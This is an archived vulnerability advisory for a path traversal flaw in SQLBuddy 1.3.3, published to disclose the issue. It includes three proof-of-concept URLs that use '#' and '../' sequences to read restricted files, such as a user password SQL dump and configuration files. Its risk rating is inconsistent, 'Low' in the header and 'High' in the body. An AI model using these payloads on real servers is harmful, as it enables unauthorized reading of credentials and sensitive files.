SQLBuddy 1.3.3 Path Traversal

Published
Credit
Risk
2015.05.15
John Page
Low
CWE
CVE
Local
Remote
CWE-22
N/A
No
Yes

# Exploit Title: Path traversal vulnerability
# Google Dork: intitle:path traversal
# Date: 05-08-2015
# Exploit Author: John Page (hyp3rlinx)
# Website: hyp3rlinx.altervista.org/
# Vendor Homepage: http://www.sqlbuddy.com
# Software Link: http://www.sqlbuddy.com
# Version: 1.3.3
# Tested on: windows 7
# Category: webapps

Source:
====================================
http://hyp3rlinx.altervista.org/advisories/AS-SQLBUDDY0508.txt



Advisory Information:
==============================
sqlbuddy suffers from directory traversal whereby a user can move about
directories an read any PHP and non PHP files by appending
the '#' hash character when requesting files via URLs.

e.g. .doc, .txt, .xml, .conf, .sql etc...

After adding the '#' character as a delimiter any non PHP will be returned
and rendered by subverting the .php concatenation used
by sqlbuddy when requesting PHP pages via POST method.

Normal sqlbuddy request:
http://localhost/sqlbuddy/home.php?ajaxRequest=666&requestKey=<xxxxxxxxxx>


POC exploit payloads:
=======================

1-Read from Apache restricted directory under htdocs:
http://localhost/sqlbuddy/#page=../../../restricted/user_pwd.sql#

2-Read any arbitrary files that do not have .PHP extensions:
http://localhost/sqlbuddy/#page=../../../directory/sensitive-file.conf#

3-Read phpinfo (no need for '#' as phpinfo is a PHP file):
http://localhost/sectest/sqlbuddy/sqlbuddy/#page=../../../../xampp/phpinfo



Severity Level:
===============
High


Request Method(s):
[+] POST

Vulnerable Product:
[+] sqlbuddy 1.3.3

Vulnerable Parameter(s):
[+] #page=somefile

Affected Area(s):
[+] Server directories & sensitive files




Disclaimer:
=========================
The information provided in this advisory is provided as it is without any
warranty. the security research reporter John Page disclaims all
warranties, either expressed or implied, including the warranties of
merchantability and capability for a particular purpose. apparitionsec or
its suppliers are not liable in any case of damage, including direct,
indirect, incidental, consequential loss of business profits or special
damages.

References:

http://hyp3rlinx.altervista.org/advisories/AS-SQLBUDDY0508.txt


See this note in RAW Version

 
Bugtraq RSS
Bugtraq
 
CVE RSS
CVEMAP
 
REDDIT
REDDIT
 
DIGG
DIGG
 
LinkedIn
LinkedIn


Copyright 2017, cxsecurity.com